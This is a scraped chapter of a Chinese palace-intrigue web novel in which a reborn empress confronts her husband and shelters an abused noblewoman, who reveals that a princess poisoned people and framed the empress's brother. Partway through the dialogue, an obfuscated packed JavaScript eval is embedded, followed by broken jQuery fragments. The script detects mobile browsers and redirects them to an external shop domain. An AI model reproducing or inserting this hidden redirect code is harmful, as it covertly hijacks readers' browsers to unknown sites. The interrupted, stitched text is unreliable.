文趣网 > 其他小说 > 皇后重生记 > 34. 真相
    “阿姐,你那天说的话我都听到了……”

    刘衡郑重其事,许赢君早有腹稿,连忙打断了他,“小衡,我年轻时候觉得嫁你委屈,是因为我还太年轻了,不懂事,如今当了皇后,哪里还会后悔,你可不能误会我,你手下那么多臣属,你要是为此发作我,闹大了,他们心寒不说,只怕还会看不起你当初的弱小啊。”

    她实在是迫不得已,其实重生之后,她许久没有这样威胁过刘衡了,前世她倒是经常威胁刘衡,她不支持刘衡破坏现有的朝廷格局,不许他提及新政两个字,只要刘衡不听沈存正的,她就说当初先帝如何看重沈存正,而刘衡是在先帝驾崩前被封的太子,资历尚浅……

    她和刘衡的关系因此迅速恶化。

    但现在她顾不得这些了,刘衡要夺权,她根本无法保证刘衡会不会宁肯戴绿帽子,也要发作她。

    她不能输在这里,她这一路走的太艰难了,因为顾及刘礼,她不敢直接把刘衡赶下台,好不容易监视了郑昭祥,捏着王博知的把柄,又离间了冯太后与刘衡。

    她沉默而又安静地让刘衡全部心血白费,刘衡要一辈子受她牵制,或许疯狂,她到时候也能压得住,或许抑郁,就像前世的她一样,早早死去……

    她已经算好了结局,她要栓住刘衡,换自己安枕无忧。

    刘衡愣住,阿姐威胁他,阿姐竟然觉得他会为了打压她,不惜污她清白,可何至于此。

    “阿姐。”

    他苦笑一声,“我只是想说,我让你看笑话了,当年你我圆房之时,我还特地猎了两只大雁,希望咱们如大雁般忠贞于彼此,可我却没有履行诺言,我如今只求你原谅我,岂会生你的气?”

    许赢君脑海中轰隆一响,她看到刘衡渐渐红了眼眶,“我是你弟弟啊,我怎么会忍心害你?”

    她完全无法说出话来,她没有办法说,日后两党相争,连你也无法控制事态的走向,最后在这场斗争中,死了很多人,我的叔父,冯妃,曾介之,沈存正,这些人都依次死在你的刀下。

    你现在还满怀抱负与热情,舍不得伤害这个,也舍不得伤害那个,可最后,所有人都在怕你的屠刀会随时落下,她不想再担惊受怕过一辈子了。

    许赢君一言不发,刘衡伤心而走,他不能接受阿姐看他时如临大敌的眼神。

    乐景和宝盈本来都以为会发生什么大事,没想到这件事却悄无声息就结束了,不论是许赢君,还是刘衡,都好像当这件事没有发生过一样。

    许赢君知道自己在想些什么,她不愿意在此时激怒刘衡,只能装作什么都不知道,但她不知道刘衡在想些什么。

    刘衡仰躺在床上,从前阿姐为了前朝,为了冯妃的事和他吵架,他只会觉得烦,如今阿姐连吵都懒得和他吵了,太后跋扈也好,说那些绝情的话被他听到也好,她全都无动于衷,就好像只要不提,就可以让这些事过去了。

    次日,许赢君正在发愁给自己的妹妹找个什么样的夫婿好,乐景在许赢君耳边轻声道:“郑家夫人去咱家递了话,说鲁国大长公主快把她家二少夫人给折腾死了,求娘娘救命呢。”

    许赢君闻言大怒,“你去传本宫旨意,让赵兴把韩王妃带上,去公主府上把少夫人接出来,如果大长公主敢拦着,就说宫里要彻查她家长媳是怎么死的。”

    宫里宫外谁不知道鲁国大长公主的长媳是被她逼死的,那时候先帝在位,也为此狠狠呵斥过公主,但因为是自己手足,先帝年老心软,再加上公主长媳的母家不愿意为了一个女儿得罪公主,这件事没了苦主,最后才被压下去。

    但如果宫里再纵容鲁国大长公主杀媳第二次,只怕皇室的名声就不能看了。

    果然旁人的话不管用,许赢君的话却管用,韩王妃带着二少夫人进了宫,许赢君吩咐把人安排住在了侧殿。

    韩王妃见到许赢君直叹气,“鲁国这个人真是歹毒!这都快冬天了,她说睡不安稳,叫二少夫人站在门外守夜,二少夫人着了风寒,鲁国不肯请医生来看,还是二少夫人装死,她放松警惕,二少奶奶才跑回了娘家求救。”

    许赢君看着郑氏手臂上的伤痕,也有些不忍,对韩王妃道:“今天的事辛苦王婶了,郑氏就留在我这里养病,想必鲁国大长公主不敢来找我的晦气。”

    晚间,乐景来报,说郑氏醒了,许赢君进去探望,发现郑氏看她的眼神满是防备,许赢君坐在床边,也不问其他,含笑道:“二少夫人,我闺名赢君,家中祖父为我取赐名,希望我赢过天下男儿,你呢?”

    这种拉家常的方式很好地安抚了郑氏,郑氏遭逢生死,依旧十分镇静地给许赢君道谢,“多谢殿下善心,这是您救我第二次了,臣妇闺名宝阁,我叫郑宝阁,意为父母阁中之宝。”

    郑宝阁说着说着就自嘲般笑起来。

    许赢君拍拍她的手,有些心疼,“你还病着,千万别伤心,我本来想直接下旨让你同方凤鸣和离,谁知道韩王叔并不同意,他身为宗人令,要维护皇室公主的名声,允准你和离,就坐实了鲁国大长公主虐待儿媳,他既然不同意,我也不能硬来。”

    郑宝阁蓦地落下泪来,许赢君连忙继续道:“不过你放心,韩王叔对你婆婆的所作所为也十分生气,他和我商量好了,睿宗爷的皇妃还有存活在世的,我打算命太皇太妃前往公主府,以长辈的身份训斥你婆婆,好给你出气,日后你就在宫中住着,就当是给祺儿和宜佛当傅姆,隔三差五再回公主府点个卯就可以。”

    “殿下,我哭并不是怪您和王叔不允许我和方凤鸣和离。”

    郑宝阁擦了擦眼泪,哽咽着对许赢君道:“我是感激,感激您费尽心力救我,我很清楚,我和方凤鸣和离不了,寻常百姓之家的媳妇,遭受婆婆虐待想要脱身也不容易,何况我是嫁给了公主之子,您和王叔肯让我躲在宫中,已经是担了干系,我真是无以为报

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505956|202024||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    同为女子,许赢君难免同情她,见她愧疚,便出言宽慰,“你真是多心了,我是国母,韩王叔是宗人令,关怀天下女子,维护宗室和睦,本来就是我们该尽的责任,说来是我们做的不够好,当初她的长子死了,我们没有好好开解鲁国姑母,让她如今越发钻了牛角尖了。”

    郑宝阁咬唇,她张张嘴,其实她心里一直揣着一件事,上次她就想告诉皇后,不过大长公主管她管得很严,她一直没有找到机会。

    虽然现在说有些突然,不知道皇后会不会相信,但她怕下次就没有机会了,还是迫不及待地对许赢君道:“殿下,我知道您弟弟的腿不是意外。”

    许赢君猛地愣住,看着郑宝阁笃定的眼神,不知为何,她就知道,郑宝阁说的一定是真的。

    她连死而复生的事都经历过了,这世上已经没什么能震惊她了。

    “你是怎么发现的?”

    她轻声问着。

    郑宝阁声音还有些虚弱,“当初公主的长子死了,她另外还有一孙一子,公主偏爱大儿子,想让长孙袭爵,宗人令觉得公主还有嫡子在,亦无大错,不该绕过儿子让孙子袭爵,公主和韩王僵住了,连先帝也无法调停,因此建昌侯府继承之事就这么耽误了下来。”

    “谁知道当今登基之后,册立世孙的旨意立马就下来了,方凤鸣觉得不甘心,日日喝酒,喝醉了……”

    郑宝阁停顿了一下,她不想在人前揭自己的伤疤,缓了一会儿才继续道:“方凤鸣酒后对我施暴,边打我边说,都是我害得他,当今本来也觉得该他继承爵位,可公主觉得是我害死了他大哥,宁愿走通冯家关系,也要把世子之位落到他侄子的身上。”

    后来我又套方凤鸣的话,他告诉我,“是公主府的人故意挑动了薛照水和您弟弟斗殴,薛照水从楼上摔下去根本没有死,是有人趁着人多,杀了薛照水,栽赃到了您弟弟身上。”

    许赢君已经完全不惊讶了,当初许,冯两家力保刘衡登基,他们的关系是很亲近的,延光自幼习武,因为武艺出众,再加上家世顶尖,性格逞凶斗狠,所以延光出事,她以为是延光自作自受,她从来没有怀疑过这件事和冯家有什么关系。

    但今天和冯家闹成这样,冯家到底有没有事先预谋也不用怀疑,冯家满脑子都是让冯妃当皇后,做出这样的事太正常不过了。

    她默默消化这个事实,好半天才出声,“事情已经过去这么久,你再告诉我,只怕我也找不到什么证据了。”

    “可我知道有什么证据!”

    郑宝阁对许赢君讲,“公主自从死了长子,方凤鸣又不成器,她就开始求先帝补贴,先帝偷偷给了她些盐引,这个钱来得太快了,先帝驾崩,没人补贴她了,她就开始偷偷走私舶来货,甚至还从海外买了毒药,我嫂子就是被她毒死的,我听方凤鸣说过,当初许延光和薛照水的酒中,也被她下了可以致人发狂的药。”